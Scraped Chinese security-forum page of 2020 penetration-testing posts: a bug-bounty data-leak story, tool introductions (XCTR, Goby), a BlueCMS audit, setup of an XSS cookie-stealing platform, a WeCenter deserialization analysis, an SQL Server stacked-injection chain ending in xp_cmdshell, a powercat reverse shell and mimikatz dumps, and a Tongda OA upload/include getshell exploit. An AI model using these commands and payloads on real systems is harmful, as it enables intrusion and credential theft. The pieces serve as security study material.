记一次“有趣”的信息泄露

渗透测试main 发表了文章 • 4 个评论 • 316 次浏览 • 2020-04-10 15:55 • 来自相关话题

记一次有趣的信息泄露,说有趣,是因为挖到了东西,环环相扣;说无趣,过程确实很枯燥,而且最后奖金也是贼nm低!!
 
挖掘某src时,一次偶然遇见了一个域名,是在跳转时提示时遇到的,打开就一个登陆界面,翻一翻源码突然间发现了东西,类似接口。收集下来大概一百多个。






 
看了大概有百多个接口:(根据字面翻译)注册帐号、找回密码、获取公司信息、反馈、订单、合同、店铺等等
尝试拼接之后,一直都是各种报错,要么就什么信息都没有







 
 
然后就一直看了下去,一百多个接口总不能全是这种错误,总要有一两个是可以看到信息的吧,反正我是这样安慰自己的,看着看着似乎就迎来了转机:(心里想至少是正常的界面)






然后看了将近一个小时快要放弃的时候,转机突然来了,显示合同编号不能为空,随意试了几位数字不行,然后就继续往下看。先保留这个界面,能获取合同编号就稳了
 






 
又发现了一个,可能需要点参数啥的,要不然你查询什么日志






 
 
果然心里想什么那就出现点什么,终于来东西了,看情况是五十家供应商或者分公司的信息吧











 
 
然后利用上一步的公司id:看到了下面这个






 
看到ContractNumber的时候已经可以奏乐了
 






 
把orderid拼接到上面查询日志的url:也爆出了信息,以及合同id,(该id有规律,可以爆破)
搞起,把前面需要 ContractNumber字段的url拿过来--->搞到合同










 
拿下了合同: 
然后就是身份信息,和一些行程,某某某在某年某月某日 和某某某去了哪里、在某个酒店干了啥,当然我k肯定都不知道






都是有钱人的生活,唉。






 
应该是全站的合同吧。。。具体不多说了
 
 
 
最后根据规则爆破了一下,又出来一个:应该是十万左右的供应商信息吧,具体不太清楚,没来得及探究就修复了!!!
 








 
 
 
总结一下吧,影响范围应该是全站的合同订单(姓名、手机号、身份证、行程)、十万商户信息、一万多个店员信息、几千反馈信息、几个发送验证码的接口。刚开始挖的时候很难,难的是你得花几个小时去挨个测试接口,然后还要去百度他的意思,以此来猜测一些参数。有的显示缺少某参数,但是还拼凑不出来。
一直在屋里坐了一个下午加半个晚上,脖子都受不了,还好有收获。
后续的漏洞还好,只有第一天很耗时间,但是他们没确认漏洞就默默修复了!!!
 十万用户数据才给了600,五千数据给了150,所有的合同,上万身份证数据啥的就100块钱,笑死我了
 
一顿操作猛如虎,整套下来850?!
 
mlgb就这吧,洗洗睡吧cnm 
还有一句话:挖漏洞该坚持坚持,某src该放弃放弃!!!
 
 
  查看全部
记一次有趣的信息泄露,说有趣,是因为挖到了东西,环环相扣;说无趣,过程确实很枯燥,而且最后奖金也是贼nm低!!
 
挖掘某src时,一次偶然遇见了一个域名,是在跳转时提示时遇到的,打开就一个登陆界面,翻一翻源码突然间发现了东西,类似接口。收集下来大概一百多个。

1.png


 
看了大概有百多个接口:(根据字面翻译)注册帐号、找回密码、获取公司信息、反馈、订单、合同、店铺等等
尝试拼接之后,一直都是各种报错,要么就什么信息都没有

2.png



 
 
然后就一直看了下去,一百多个接口总不能全是这种错误,总要有一两个是可以看到信息的吧,反正我是这样安慰自己的,看着看着似乎就迎来了转机:(心里想至少是正常的界面)

3.png


然后看了将近一个小时快要放弃的时候,转机突然来了,显示合同编号不能为空,随意试了几位数字不行,然后就继续往下看。先保留这个界面,能获取合同编号就稳了
 

4.png


 
又发现了一个,可能需要点参数啥的,要不然你查询什么日志

5.png


 
 
果然心里想什么那就出现点什么,终于来东西了,看情况是五十家供应商或者分公司的信息吧

6.png


7.png


 
 
然后利用上一步的公司id:看到了下面这个

8.png


 
看到ContractNumber的时候已经可以奏乐了
 

9.png


 
把orderid拼接到上面查询日志的url:也爆出了信息,以及合同id,(该id有规律,可以爆破)
搞起,把前面需要 ContractNumber字段的url拿过来--->搞到合同

10.png


11.png

 
拿下了合同: 
然后就是身份信息,和一些行程,某某某在某年某月某日 和某某某去了哪里、在某个酒店干了啥,当然我k肯定都不知道

12.png


都是有钱人的生活,唉。

13.png


 
应该是全站的合同吧。。。具体不多说了
 
 
 
最后根据规则爆破了一下,又出来一个:应该是十万左右的供应商信息吧,具体不太清楚,没来得及探究就修复了!!!
 
Image.png





 
 
 
总结一下吧,影响范围应该是全站的合同订单(姓名、手机号、身份证、行程)、十万商户信息、一万多个店员信息、几千反馈信息、几个发送验证码的接口。刚开始挖的时候很难,难的是你得花几个小时去挨个测试接口,然后还要去百度他的意思,以此来猜测一些参数。有的显示缺少某参数,但是还拼凑不出来。
一直在屋里坐了一个下午加半个晚上,脖子都受不了,还好有收获。
后续的漏洞还好,只有第一天很耗时间,但是他们没确认漏洞就默默修复了!!!
 十万用户数据才给了600,五千数据给了150,所有的合同,上万身份证数据啥的就100块钱,笑死我了
 
一顿操作猛如虎,整套下来850?!
 
mlgb就这吧,洗洗睡吧cnm 
还有一句话:挖漏洞该坚持坚持,某src该放弃放弃!!!
 
 
 

XCTR-Hacking-Tools:一款多合一功能的信息收集工具 (转)

渗透测试wssmile 发表了文章 • 0 个评论 • 187 次浏览 • 2020-04-08 10:17 • 来自相关话题

XCTR-Hacking-Tools是一款整合了多种功能为一身的信息收集工具。

首先,你需要创建一个项目来存储相关的所有数据。

收集到的所有信息都将以“项目-名称”的形式存储在结果目录中。

除此之外,你还可以在设置区域中更新用户代理以及代理信息,或者更新URL、代理、项目名、字典和线程数等等。
0x00 功能介绍
该工具的功能包括:
1、Docker查找器

2、管理员面板查找器

3、CMS查找器

4、IP历史记录

5、反向IP地址

6、页面查看器

7、代理查找器
 
0x01 下载
我们直接从网站下载即可。
git clone https://github.com/capture0x/XCTR-Hacking-Tools/

cd xctr-hacking-tools

pip3 install -r requirements.txt
 
0x02 工具使用
python xctr.py
工具运行之后,所有的数据收集结果都将存储在“results/project-name”中。
1 Docker查找器
Docker查找器有两个部分组成,即“bing”和“yandex”:
*.php?id=
2 管理员面板查找器
在这个地方,我们首先需要设置一个扫描所需的字典,此时可以按下“2”来修改字典并完成登录。
URL格式为“https://targetsite.com/”。
如果扫描速度比较慢的话,你可以尝试更新代理,按下“3”即可完成更新。
 
3 IP历史记录
该工具可以显示并存储目标域名的IP历史记录。使用样例如下:
 
targetsite.com
 
4 反向IP
在该工具的帮助下,我们可以查找到服务器所绑定的域名。使用样例如下
 
0x03 工具截图








































 
0x04 
参考文章
https://www.freebuf.com/sectool/229270.html
 
 
 
 
 
 
 
 
  查看全部
XCTR-Hacking-Tools是一款整合了多种功能为一身的信息收集工具。

首先,你需要创建一个项目来存储相关的所有数据。

收集到的所有信息都将以“项目-名称”的形式存储在结果目录中。

除此之外,你还可以在设置区域中更新用户代理以及代理信息,或者更新URL、代理、项目名、字典和线程数等等。
0x00 功能介绍
该工具的功能包括:
1、Docker查找器

2、管理员面板查找器

3、CMS查找器

4、IP历史记录

5、反向IP地址

6、页面查看器

7、代理查找器
 
0x01 下载
我们直接从网站下载即可。
git clone https://github.com/capture0x/XCTR-Hacking-Tools/

cd xctr-hacking-tools

pip3 install -r requirements.txt
 
0x02 工具使用
python xctr.py
工具运行之后,所有的数据收集结果都将存储在“results/project-name”中。
1 Docker查找器
Docker查找器有两个部分组成,即“bing”和“yandex”:

*.php?id=
2 管理员面板查找器
在这个地方,我们首先需要设置一个扫描所需的字典,此时可以按下“2”来修改字典并完成登录。
URL格式为“https://targetsite.com/”。
如果扫描速度比较慢的话,你可以尝试更新代理,按下“3”即可完成更新。
 
3 IP历史记录
该工具可以显示并存储目标域名的IP历史记录。使用样例如下:
 
targetsite.com
 
4 反向IP
在该工具的帮助下,我们可以查找到服务器所绑定的域名。使用样例如下
 
0x03 工具截图

1.png


1.png


2.png


3.png


4.png


5.png


6.png


7.png

 
0x04 
参考文章
https://www.freebuf.com/sectool/229270.html
 
 
 
 
 
 
 
 
 

新安全工具----Goby【转】

Web安全渗透zh_smile 发表了文章 • 1 个评论 • 287 次浏览 • 2020-04-06 09:57 • 来自相关话题

Goby是一款新的网络安全测试工具,由赵武Zwell(Pangolin、JSky、FOFA作者)打造,它能够针对一个目标企业梳理最全的攻击面信息,同时能进行高效、实战化漏洞扫描,并快速的从一个验证入口点,切换到横向。我们希望能够输出更具生命力的工具,能够对标黑客的实际能力,帮助企业来有效地理解和应对网络攻击。
 
Goby主要特性:

实战性:Goby并不关注漏洞库的数量有多么多,而是关注真正用于实际攻击的漏洞数量,以及漏洞的利用深度;
体系性:打通渗透前,渗透中,以及渗透后的完整流程完整DOM事件收集,自动化触发。
高效性:利用积累的规则库,全自动的实现IT资产攻击面的梳理;效率提升数倍,发包更少速度更快、更精准;
平台性:发动广泛的安全人员的力量,完善上面提到的所有资源库;包括基于社区的数据共享,插件发布,漏洞共享等;
艺术性:安全工具原本就比较偏门,我们更多的关注功能而非美观度,所有大部分的安全工具都是其貌不扬;我们希望使用Goby能给大家带来感官上的享受。

0×001 安装
Goby目前是使用Go语言开发、采用Electron+VUE前端框架的绿色版本,支持windows/MacOS/Linux,无需安装。因Goby基于网络扫描,所以使用前,请先赋予goby识别网卡的权限。方式如下:
1.Windows用户
下载Npcap数据捕获包,安装完成后,启动goby。 下载地址:https://nmap.org/npcap/dist/npcap-0.9983.exe
2.MacOS用户
执行以下命令:[code]cd /dev
sudo chown $USER:admin bp*
[/code]0×002 使用
1.资产收集
自动探测当前网络空间存活的IP及解析域名到IP,轻量且快速的分析出端口对应的协议、Mac地址、证书、应用产品、厂商等信息。





在设置界面开启以下功能,将获取更多资产信息。
子域名扫描
自动爬取子域名,AXFR监测,二级域名字典爆破,关联域名查询。同时支持连接FOFA,扩大数据源。
网站截图
通过截图,快速判断网站系统应用,无须再一一打开。
注:该功能基于Chrome截图插件实现,需要预安装Chrome浏览器
深度分析
发现非标准端口或非标准应用系统资产,进行深入的应用识别。在实战场景中非常有效。
代理扫描
通过socket5代理,快速进入内网,开启内网渗透。

注:支持Pcap及socket两种模式,请根据不同的场合动态切换。 pcap模式:支持协议识别和漏洞扫描,不支持端口扫描; socket模式:支持端口扫描协议识别以及漏洞扫描,扫描速度慢。

2.漏洞利用
对扫描出来的风险资产进行批量验证,验证成功后,可进行利用,利用成功后,不需要自己搭建服务器,直接进行shell管理。





支持自定义PoC及弱口令字典,让安全人员自定义属于自己的武器库,增强攻击力。




3.生成报告
扫描完成后,生成分析报告,并支持PDF、Excel导出,方便本地分析及呈报传阅。




4.CS模式
远程服务,区分扫描模块及展示模块。 CS搭建:开启远端服务,然后配置服务端主机、端口、账户信息。




0×003 预置数据说明
1.规则库
超过10万种规则识别引擎,硬件覆盖范围:网络设备,物联网设备,网络安全产品,办公设备等,软件覆盖范围:CRM,CMS,EMAIL,OA系统等。2.协议
超过200种协议识别引擎,覆盖网络协议,数据库协议,IoT协议,ICS协议等。3.端口
除了常用端口,我们还根据安全实战场景进行了端口分组,包括企业、咖啡馆、酒店、机场、数据库、物联网、SCADA、ICS、后门检测等。4.漏洞及弱口令
覆盖Weblogic,Tomcat等最严重漏洞及超过1000种设备的预置账号信息。

CVE-2020-2551
CVE-2020-2555
CVE-2019-10758
CVE-2011-3556
CVE-2017-5878
CVE-2018-1297
CVE-2019-19781
CVE-2020-10189
CVE-2016-4437
CVE-2018-1000861
CVE-2017-1000353
CVE-2020-1938…
持续更新中

 
注:该工具目前仅限于内网测试,外网测试还在深耕打磨中
免费下载goby,请访问官网https://gobies.org/
文章转自:https://www.freebuf.com/sectool/232007.html 查看全部
Goby是一款新的网络安全测试工具,由赵武Zwell(Pangolin、JSky、FOFA作者)打造,它能够针对一个目标企业梳理最全的攻击面信息,同时能进行高效、实战化漏洞扫描,并快速的从一个验证入口点,切换到横向。我们希望能够输出更具生命力的工具,能够对标黑客的实际能力,帮助企业来有效地理解和应对网络攻击。
 
Goby主要特性:


实战性:Goby并不关注漏洞库的数量有多么多,而是关注真正用于实际攻击的漏洞数量,以及漏洞的利用深度;
体系性:打通渗透前,渗透中,以及渗透后的完整流程完整DOM事件收集,自动化触发。
高效性:利用积累的规则库,全自动的实现IT资产攻击面的梳理;效率提升数倍,发包更少速度更快、更精准;
平台性:发动广泛的安全人员的力量,完善上面提到的所有资源库;包括基于社区的数据共享,插件发布,漏洞共享等;
艺术性:安全工具原本就比较偏门,我们更多的关注功能而非美观度,所有大部分的安全工具都是其貌不扬;我们希望使用Goby能给大家带来感官上的享受。


0×001 安装
Goby目前是使用Go语言开发、采用Electron+VUE前端框架的绿色版本,支持windows/MacOS/Linux,无需安装。因Goby基于网络扫描,所以使用前,请先赋予goby识别网卡的权限。方式如下:
1.Windows用户
下载Npcap数据捕获包,安装完成后,启动goby。 下载地址:https://nmap.org/npcap/dist/npcap-0.9983.exe
2.MacOS用户
执行以下命令:
[code]cd /dev
sudo chown $USER:admin bp*
[/code]0×002 使用
1.资产收集
自动探测当前网络空间存活的IP及解析域名到IP,轻量且快速的分析出端口对应的协议、Mac地址、证书、应用产品、厂商等信息。

1585651197_5e831dfd8e8ce.gif

在设置界面开启以下功能,将获取更多资产信息。
子域名扫描
自动爬取子域名,AXFR监测,二级域名字典爆破,关联域名查询。同时支持连接FOFA,扩大数据源。
网站截图
通过截图,快速判断网站系统应用,无须再一一打开。
注:该功能基于Chrome截图插件实现,需要预安装Chrome浏览器
深度分析
发现非标准端口或非标准应用系统资产,进行深入的应用识别。在实战场景中非常有效。
代理扫描
通过socket5代理,快速进入内网,开启内网渗透。


注:支持Pcap及socket两种模式,请根据不同的场合动态切换。 pcap模式:支持协议识别和漏洞扫描,不支持端口扫描; socket模式:支持端口扫描协议识别以及漏洞扫描,扫描速度慢。


2.漏洞利用
对扫描出来的风险资产进行批量验证,验证成功后,可进行利用,利用成功后,不需要自己搭建服务器,直接进行shell管理。

1585651308_5e831e6cb3f9f.gif

支持自定义PoC及弱口令字典,让安全人员自定义属于自己的武器库,增强攻击力。

1585651499_5e831f2b882e6.gif
3.生成报告
扫描完成后,生成分析报告,并支持PDF、Excel导出,方便本地分析及呈报传阅。

1585651582_5e831f7e7dc0e.gif
4.CS模式
远程服务,区分扫描模块及展示模块。 CS搭建:开启远端服务,然后配置服务端主机、端口、账户信息。

1585651605_5e831f95d7371.gif
0×003 预置数据说明
1.规则库
超过10万种规则识别引擎,硬件覆盖范围:网络设备,物联网设备,网络安全产品,办公设备等,软件覆盖范围:CRM,CMS,EMAIL,OA系统等。2.协议
超过200种协议识别引擎,覆盖网络协议,数据库协议,IoT协议,ICS协议等。3.端口
除了常用端口,我们还根据安全实战场景进行了端口分组,包括企业、咖啡馆、酒店、机场、数据库、物联网、SCADA、ICS、后门检测等。4.漏洞及弱口令
覆盖Weblogic,Tomcat等最严重漏洞及超过1000种设备的预置账号信息。


CVE-2020-2551
CVE-2020-2555
CVE-2019-10758
CVE-2011-3556
CVE-2017-5878
CVE-2018-1297
CVE-2019-19781
CVE-2020-10189
CVE-2016-4437
CVE-2018-1000861
CVE-2017-1000353
CVE-2020-1938…
持续更新中


 
注:该工具目前仅限于内网测试,外网测试还在深耕打磨中
免费下载goby,请访问官网https://gobies.org/
文章转自:https://www.freebuf.com/sectool/232007.html

代码审计--Bluecms

渗透测试willeson 发表了文章 • 0 个评论 • 152 次浏览 • 2020-04-06 02:29 • 来自相关话题

1,存储型XSS
 
代码分析
 
接收的参数 $content 没有使用 htmlspecialchars() 函数去实体编码,而是使用了一个过滤函数 filter_data()。




 
跟进file_data() 发现只过滤了几个标签,很好绕过。





 
然后就直接插入数据库中。
 




 
接下来跟进到后台审核。





 
在查询后将查询的 content 的结果做为参数传入到了 create_editor() 函数中。
 
跟进后可以看到,实例化 FCKeditor,content 赋值 $editor->value,然后调用 Create_html()。。





 
进入函数后调用 htmlspecialchars() 函数对content 预编译,因为是默认编码,所以只对双引号进行实体编码。





 
接下来进入 IsCompatible() 函数。





 
这个函数是判断用户浏览器版本,只要版本不是太老就会返会TRUE。





 
接下来是给 $html 赋值,然后输出到页面上,因为是 iframe 标签加载的同目录下一个html文件,而且把$html 输出到了页面上,又因为前面的 htmlspecialchars() 只预编译了双引号,所以JS代码是能够执行的。





 
实际测试
 
因为前端对数据进行了实体编码,所以需要在burp中修改下。
 



 
成功插入到数据库。
 




 
成功执行payload。




 

 
2,任意文件删除
 
代码分析
 
在删除文章处会删除已经上传的文件,从数据库中读取路径。
 





 
同过分析代码可知,文件路径出现在上传和更新处,上传时不完全可控,更新处完全可控。





 
只需要在burp中修改文件路径即可。





 
后端没有对路径做任何检查,直接插入到数据库中。





 
接下来只需要在前台点击删除即可。 查看全部
1,存储型XSS
 
代码分析
 
接收的参数 $content 没有使用 htmlspecialchars() 函数去实体编码,而是使用了一个过滤函数 filter_data()。
20.4_.6_.1_.PNG

 
跟进file_data() 发现只过滤了几个标签,很好绕过。

20.4_.6_.2_.PNG

 
然后就直接插入数据库中。
 
20.4_.6_.3_.PNG

 
接下来跟进到后台审核。

20.4_.6_.6_.PNG

 
在查询后将查询的 content 的结果做为参数传入到了 create_editor() 函数中。
 
跟进后可以看到,实例化 FCKeditor,content 赋值 $editor->value,然后调用 Create_html()。。

20.4_.6_.7_.PNG

 
进入函数后调用 htmlspecialchars() 函数对content 预编译,因为是默认编码,所以只对双引号进行实体编码。

20.4_.6_.8_.PNG

 
接下来进入 IsCompatible() 函数。

20.4_.6_.9_.PNG

 
这个函数是判断用户浏览器版本,只要版本不是太老就会返会TRUE。

20.4_.6_.10_.PNG

 
接下来是给 $html 赋值,然后输出到页面上,因为是 iframe 标签加载的同目录下一个html文件,而且把$html 输出到了页面上,又因为前面的 htmlspecialchars() 只预编译了双引号,所以JS代码是能够执行的。

20.4_.6_.11_.PNG

 
实际测试
 
因为前端对数据进行了实体编码,所以需要在burp中修改下。
 
20.4_.5_.4_.PNG

 
成功插入到数据库。
 
20.4_.5_.5_.PNG

 
成功执行payload。
20.4_.6_.14_.PNG

 

 
2,任意文件删除
 
代码分析
 
在删除文章处会删除已经上传的文件,从数据库中读取路径。
 

20.4_.6_.15_.PNG

 
同过分析代码可知,文件路径出现在上传和更新处,上传时不完全可控,更新处完全可控。

20.4_.6_.16_.PNG

 
只需要在burp中修改文件路径即可。

20.4_.6_.183_.PNG

 
后端没有对路径做任何检查,直接插入到数据库中。

20.4_.619_.PNG

 
接下来只需要在前台点击删除即可。

xss平台搭建

渗透测试Einzben 发表了文章 • 0 个评论 • 164 次浏览 • 2020-04-05 15:11 • 来自相关话题

    前几天白嫖到了半年阿里云服务器ECS,正好看到网上有人发了xsser.me的资源就打算搭一个xss平台吧
 
打开阿里云服务器(我领取的是windows)下载phpstudy先更换默认的php版本(上来就踩的坑,最新版phpstudy默认是php7.x)



下载phpmyadmin(phpsyudy默认phpmyadmin版本为4.8.5)




在www目录下创建xsser文件夹
将源码下载解压到xsser下




编辑config.php
编辑数据库信息




编辑url起始地址




编辑注册方式,开始设置为normal方便自己注册




在phpmyadmin新建数据库xss




将xsser目录下的xssplatform.sql文件导入新创建的数据库




在数据库中执行sql语句修改为自己的地址UPDATE oc_module SET
code=REPLACE(code,'http://xsser.me','http://xxx/xsser') 在xsser目录新建.htaccess文件(/index.php前为自己的web根目录我的是xsser)RewriteEngine On
RewriteBase /
RewriteRule ^([0-9a-zA-Z]{6})$ xsser/index.php?do=code&urlKey=$1 [L]
RewriteRule ^do/auth/(\w+?)(/domain/([\w.]+?))?$ xsser/index.php?do=do&auth=$1&domain=$3 [L]
RewriteRule ^register/(.?)$ xsser/index.php?do=register&key=$1 [L]
RewriteRule ^register-validate/(.?)$ xsser/index.php?do=register&act=validate&key=$1 [L]访问自己的xss平台注册账号(normal模式不需要邀请码,)




登录新建项目测试
访问生成的地址http://39.98.xx.xx/xsser/b1lzLq
出现该页面说明.htaccess正常,如果伪静态没配置成功,那么下面xsser生成的项目中的URL将不能访问





 
  查看全部
    前几天白嫖到了半年阿里云服务器ECS,正好看到网上有人发了xsser.me的资源就打算搭一个xss平台吧
 
打开阿里云服务器(我领取的是windows)下载phpstudy先更换默认的php版本(上来就踩的坑,最新版phpstudy默认是php7.x)
1.png
下载phpmyadmin(phpsyudy默认phpmyadmin版本为4.8.5)
2.png

在www目录下创建xsser文件夹
将源码下载解压到xsser下
4.png

编辑config.php
编辑数据库信息
5.png

编辑url起始地址
7.png

编辑注册方式,开始设置为normal方便自己注册
6.png

在phpmyadmin新建数据库xss
8.png

将xsser目录下的xssplatform.sql文件导入新创建的数据库
9.png

在数据库中执行sql语句修改为自己的地址
UPDATE oc_module SET 
code=REPLACE(code,'http://xsser.me','http://xxx/xsser')
在xsser目录新建.htaccess文件(/index.php前为自己的web根目录我的是xsser)
RewriteEngine On
RewriteBase /
RewriteRule ^([0-9a-zA-Z]{6})$ xsser/index.php?do=code&urlKey=$1 [L]
RewriteRule ^do/auth/(\w+?)(/domain/([\w.]+?))?$ xsser/index.php?do=do&auth=$1&domain=$3 [L]
RewriteRule ^register/(.?)$ xsser/index.php?do=register&key=$1 [L]
RewriteRule ^register-validate/(.?)$ xsser/index.php?do=register&act=validate&key=$1 [L]
访问自己的xss平台注册账号(normal模式不需要邀请码,)
10.png

登录新建项目测试
访问生成的地址
http://39.98.xx.xx/xsser/b1lzLq

出现该页面说明.htaccess正常,如果伪静态没配置成功,那么下面xsser生成的项目中的URL将不能访问
12.png


 
 

赛克艾威漏洞预警(3月28-4月3号)

漏洞预警ypk 发表了文章 • 0 个评论 • 114 次浏览 • 2020-04-03 17:12 • 来自相关话题

堆叠注入到内网(日常水文)

渗透测试名字真的不好取什么时候是个头 发表了文章 • 0 个评论 • 208 次浏览 • 2020-04-03 14:01 • 来自相关话题

前提:POST包存在注入,注入类型:堆叠注入;权限:很高,数据库,sqlserver
 
遇到堆叠注入,第一想到是否可以执行xp_cmdshell;
发现该系统未开启xp_cmdshell,尝试开启:开启xp_cmdshell
EXEC sp_configure ‘show advanced options’,1;
RECONFIGURE;
EXEC sp_configure ‘xp_cmdshell’,1;
RECONFIGURE;




尝试ping dnslog,成功执行命令:








nc监听:nc -lvnp 4999




利用xp_cmdshell,调用powershell,远程加载powercat并反弹回来到cmd上








mimikatz抓取密码
Mimikatz#       privilege::debug
Mimikatz#       sekurlsa::logonpasswords 




查看进程中存在域控的进程,如果直接进程注入,可以直接拿下域控权限,由于涉及内网渗透,暂不进一步进行渗透。
 
  查看全部
前提:POST包存在注入,注入类型:堆叠注入;权限:很高,数据库,sqlserver
 
遇到堆叠注入,第一想到是否可以执行xp_cmdshell;
发现该系统未开启xp_cmdshell,尝试开启:开启xp_cmdshell
EXEC sp_configure ‘show advanced options’,1;
RECONFIGURE;
EXEC sp_configure ‘xp_cmdshell’,1;
RECONFIGURE;

1.jpg

尝试ping dnslog,成功执行命令:
2.png

3.png

nc监听:nc -lvnp 4999
4.png

利用xp_cmdshell,调用powershell,远程加载powercat并反弹回来到cmd上
5.png

6.png

mimikatz抓取密码
Mimikatz#       privilege::debug
Mimikatz#       sekurlsa::logonpasswords 
7.png

查看进程中存在域控的进程,如果直接进程注入,可以直接拿下域控权限,由于涉及内网渗透,暂不进一步进行渗透。
 
 

WeCenter-V3.3.4漏洞分析

渗透测试zake 发表了文章 • 0 个评论 • 124 次浏览 • 2020-04-03 13:07 • 来自相关话题

该漏洞的实质触发原因是由于可以通过反序列化来执行任意sql语句,导致可以在数据库中更改上传文件的限制类型,最后达到可以上传任意PHP文件的效果

代码分析
漏洞利用点文件位置在./system/aws_model.inc.php,该文件中存在一个AWS_MODEL类,重点关注一下该类的__destruct方法






该方法遍历了$_shutdown_query,然后执行了query方法,跟进去看一下






该方法的功能是执行传入的SQL语句,那么也就是说我们只要控制了$_shutdown_query就可以执行任意的语句了,可以注意到该变量是该类中的私有成员变量






如果存在反序列化的点,我们就可以控制$_shutdown_query的值来执行任意SQL语句,于是接着来寻找反序列化的触发方法

在本例中反序列化是利用phar进行触发的,触发点文件在./models/account.php,在该文件的account_class类中,存在着这样一个函数






如果该函数中的$headimgurl是可控的,就可以通过file_get_contents函数来触发phar反序列化,通过搜索发现在./app/account/ajax.php中的synch_img_action函数调用了associate_remote_avatar函数






 在这里我们需要控制的是$wxuser['headimgurl'],而synch_img_action对于$wxuser['headimgurl']的获取是来源于数据库中的users_weixin表的,所以我们想控制其值必须找到对users_weixin表中headimgurl字段操作的代码,通过搜索发现./models/openid/weixin/weixin.php文件中bind_account函数存在着对该表的插入操作






接下来需要找到bind_account函数的调用位置,并且需要使其参数可控,通过搜索关注到binding_action函数,该函数在/app/m/weixin.php文件中






可以看到该函数中在调用bind_account函数传入参数时,参数的值都是从cookie中获取的,这样我们就可以通过cookie来控制传入的参数值,而binding_action这个方法可以通过路由访问直接调用,所以我们基本上就可以来执行任意SQL语句了

接着来梳理一下流程,首先我们控制cookie然后调用binding_action函数,使其调用bind_account函数并带入我们控制的参数,该函数将会把我们构造的headimgurl插入到数据库中,在我们调用synch_img_action方法时,该方法会将headimgurl取出来并调用associate_remote_avatar函数,该函数会调用file_get_contents($headimgurl)来触发phar反序列化,进而执行任意sql语句 查看全部
该漏洞的实质触发原因是由于可以通过反序列化来执行任意sql语句,导致可以在数据库中更改上传文件的限制类型,最后达到可以上传任意PHP文件的效果

代码分析
漏洞利用点文件位置在./system/aws_model.inc.php,该文件中存在一个AWS_MODEL类,重点关注一下该类的__destruct方法

1.png


该方法遍历了$_shutdown_query,然后执行了query方法,跟进去看一下

2.png


该方法的功能是执行传入的SQL语句,那么也就是说我们只要控制了$_shutdown_query就可以执行任意的语句了,可以注意到该变量是该类中的私有成员变量

3.png


如果存在反序列化的点,我们就可以控制$_shutdown_query的值来执行任意SQL语句,于是接着来寻找反序列化的触发方法

在本例中反序列化是利用phar进行触发的,触发点文件在./models/account.php,在该文件的account_class类中,存在着这样一个函数

4.png


如果该函数中的$headimgurl是可控的,就可以通过file_get_contents函数来触发phar反序列化,通过搜索发现在./app/account/ajax.php中的synch_img_action函数调用了associate_remote_avatar函数

5.png


 在这里我们需要控制的是$wxuser['headimgurl'],而synch_img_action对于$wxuser['headimgurl']的获取是来源于数据库中的users_weixin表的,所以我们想控制其值必须找到对users_weixin表中headimgurl字段操作的代码,通过搜索发现./models/openid/weixin/weixin.php文件中bind_account函数存在着对该表的插入操作

6.png


接下来需要找到bind_account函数的调用位置,并且需要使其参数可控,通过搜索关注到binding_action函数,该函数在/app/m/weixin.php文件中

7.png


可以看到该函数中在调用bind_account函数传入参数时,参数的值都是从cookie中获取的,这样我们就可以通过cookie来控制传入的参数值,而binding_action这个方法可以通过路由访问直接调用,所以我们基本上就可以来执行任意SQL语句了

接着来梳理一下流程,首先我们控制cookie然后调用binding_action函数,使其调用bind_account函数并带入我们控制的参数,该函数将会把我们构造的headimgurl插入到数据库中,在我们调用synch_img_action方法时,该方法会将headimgurl取出来并调用associate_remote_avatar函数,该函数会调用file_get_contents($headimgurl)来触发phar反序列化,进而执行任意sql语句

通达OA文件上传/文件包含GetShell

Web安全渗透heyha 发表了文章 • 0 个评论 • 161 次浏览 • 2020-04-02 16:56 • 来自相关话题

前言
 先来看看该漏洞的利用方式
 
绕过文件上传然后包含
 
包含日志文件
 
再来看看通达oa的信息
       通达信科隶属于世界500强企业。
 
       中国兵器工业信息中心通达信科隶属于中国兵器工业集团。
 
       通达OA系统代表了协同OA的先进理念,16年研发铸就成熟OA产品,协同OA软件行业唯一央企团队研发,多次摘取国内OA软件金奖,拥有2万多家正式用户,8万多家免费版用户,超过500万终端用户
 
影响版本:
V11版2017版2016版2015版2013版2013增强版
 
 
[b]漏洞分析[/b] 
跟进这个文件  ispirit/im/upload.php  <?php
set_time_limit(0);
$P = $_POST['P'];
if (isset($P) || $P != '') {
ob_start();
include_once 'inc/session.php';
session_id($P);
session_start();
session_write_close();
} else {
include_once './auth.php';
}这里在数据包里面对p赋值可以绕过登录限制直接上传文件
 





这里显示的是未登录
 





 
在这里已经绕过登录进行了文件的上传
 





 
 
在本地自己构造一个文件上传的页面<html>
<body>
<form action="http://127.0.0.1:8889/ispirit/im/upload.php" method="post" enctype="multipart/form-data">
<input type="text"name='P' value = 1 ></input>
<input type="text"name='MSG_CATE' value = 'file'></input>
<input type="text"name='UPLOAD_MODE' value = 1 ></input>
<input type="text" name="DEST_UID" value = 1></input>
<input type="file" name="ATTACHMENT"></input>
<input type="submit" ></input>
</body>
</html>




 
文件名为  随机数字.文件名.格式
 
包含点为  \ispirit\interface\gateway.phpif ($json) {
$json = stripcslashes($json);
$json = (array) json_decode($json);
foreach ($json as $key => $val ) {
if ($key == "data") {
$val = (array) $val;
foreach ($val as $keys => $value ) {
$keys = $value;
}
}
if ($key == "url") {
$url = $val;
}
}
if ($url != "") {
if (substr($url, 0, 1) == "/") {...}
if ((strpos($url, "general/") !== false) || (strpos($url, "ispirit/") !== false) || (strpos($url, "module/") !== false)) {
include_once $url;
}
}
exit();
}最后面存在一个包含点
 
直接get传参就行
 
先访问/ispirit/interface/gateway.php?json={}&aa=<?php file_put_contents('1.php','hello world');?>往日志里卖写一句话
 
在访问日志  ispirit/interface/gateway.php?json={}&url=../../ispirit/../../nginx/logs/oa.access.log
 
也可以访问刚才上传的图片
 
以post的方式
 
json={"url":"general/../../attach/im/2004/711609261.01.jpg"}
 





 
 
后面会给出exp
 
参考:
https://blog.csdn.net/q851579181q/article/details/104968391
https://blog.csdn.net/god_zzZ/article/details/105192808?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522158579892119725211960470%2522%252C%2522scm%2522%253A%252220140713.130056874..%2522%257D&request_id=158579892119725211960470&biz_id=0&utm_source=distribute.pc_search_result.none-task
  查看全部
前言
 先来看看该漏洞的利用方式
 
绕过文件上传然后包含
 
包含日志文件
 
再来看看通达oa的信息
       通达信科隶属于世界500强企业。
 
       中国兵器工业信息中心通达信科隶属于中国兵器工业集团
 
